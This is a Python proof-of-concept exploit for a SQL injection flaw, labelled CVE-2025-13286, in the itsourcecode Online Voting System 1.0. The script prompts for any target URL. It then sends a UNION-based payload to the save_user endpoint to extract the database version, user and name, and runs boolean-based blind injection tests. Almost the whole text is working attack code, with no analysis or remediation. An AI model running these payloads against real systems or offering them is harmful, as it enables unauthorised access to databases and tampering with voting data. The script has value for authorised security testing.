CVE-2025-13286 itsourcecode Online Voting System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13286 SQL Injection PoC # Target: itsourcecode Online Voting System 1.0 # Endpoint: /ajax.php?action=save_user target_url = input("Enter target URL (e.g., http://target.com): ").strip() # SQL Injection payload - extract database version payload = "1' UNION SELECT NULL,version(),user(),database(),NULL,NULL---" # Prepare the request endpoint = f"{target_url}/ajax.php?action=save_user" data = { "id": payload, "username": "test", "password": "test123" } print(f"[*] Targeting: {endpoint}") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Boolean-based blind injection test print("\n[*] Testing boolean-based blind injection...") true_payload = "1' AND 1=1---" false_payload = "1' AND 1=2---" data_true = {"id": true_payload, "username": "test", "password": "test"} data_false = {"id": false_payload, "username": "test", "password": "test"} try: r_true = requests.post(endpoint, data=data_true, timeout=10) r_false = requests.post(endpoint, data=data_false, timeout=10) if r_true.status_code != r_false.status_code or r_true.text != r_false.text: print("[+] Blind SQL injection confirmed!") else: print("[-] Blind SQL injection test inconclusive") except Exception as e: print(f"[-] Error during testing: {e}")